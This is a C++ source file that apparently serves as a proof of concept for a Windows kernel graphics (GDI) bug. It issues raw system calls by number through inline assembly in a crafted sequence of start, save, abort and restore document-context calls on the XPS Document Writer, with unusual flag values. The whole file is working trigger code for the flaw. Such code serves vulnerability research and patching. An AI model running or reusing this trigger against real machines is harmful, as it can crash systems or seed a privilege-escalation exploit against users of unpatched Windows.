/*
 * compile:
 * cl.exe bug433.cpp gdi32.lib
 */

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>

__declspec(noinline) int __stdcall NtGdiStartDoc(HDC hdc, DOCINFOW *doc, DWORD *d0, DWORD d1) {
 	__asm {
 		push d1
 		push d0
 		push doc
 		push hdc
		push 0x0
		mov eax, 0x112c
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0x14
	}
}

__declspec(noinline) int __stdcall NtGdiSaveDC(HDC hdc) {
 	__asm {
		push hdc
		push 0x0
		mov eax, 0x1108
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0x8
	}
}

__declspec(noinline) int __stdcall NtGdiAbortDoc(HDC hdc) {
 	__asm {
		push hdc
		push 0x0
		mov eax, 0x1000
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0x8
	}
}

__declspec(noinline) int __stdcall NtGdiRestoreDC(HDC hdc, DWORD d1) {
 	__asm {
 		push d1
		push hdc
		push 0x0
		mov eax, 0x1106
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0xc
	}
}


int _tmain(int argc, _TCHAR* argv[])
{
	HDC hdc = CreateDCA(0, "Microsoft XPS Document Writer", 0, 0);
	printf("[-] hdc %08x\n", hdc);
	DOCINFOW d0;
	d0.cbSize = sizeof(DOCINFOW);
	d0.lpszDocName = L"print0";
	d0.lpszOutput = d0.lpszDocName;
	d0.lpszDatatype = L"XPS";
	d0.fwType = 0xa4a4231c;
	DWORD tmp = 0;
	DWORD rc = NtGdiStartDoc(hdc, &d0, &tmp, 0xf9);
	printf("[-] rc: %08x\n", rc);
	NtGdiSaveDC(hdc);
	NtGdiAbortDoc(hdc);
	NtGdiRestoreDC(hdc, 1);
	DOCINFOW d1;
	d1.cbSize = sizeof(DOCINFOW);
	d1.lpszDocName = L"print1";
	d1.lpszOutput = d1.lpszDocName;
	d1.lpszDatatype = L"emf";
	d1.fwType = 0x2d7c7438;
	DWORD rc1 = StartDocW(hdc, &d1);
	printf("[-] rc: %08x\n", rc1);
	return 0;
}
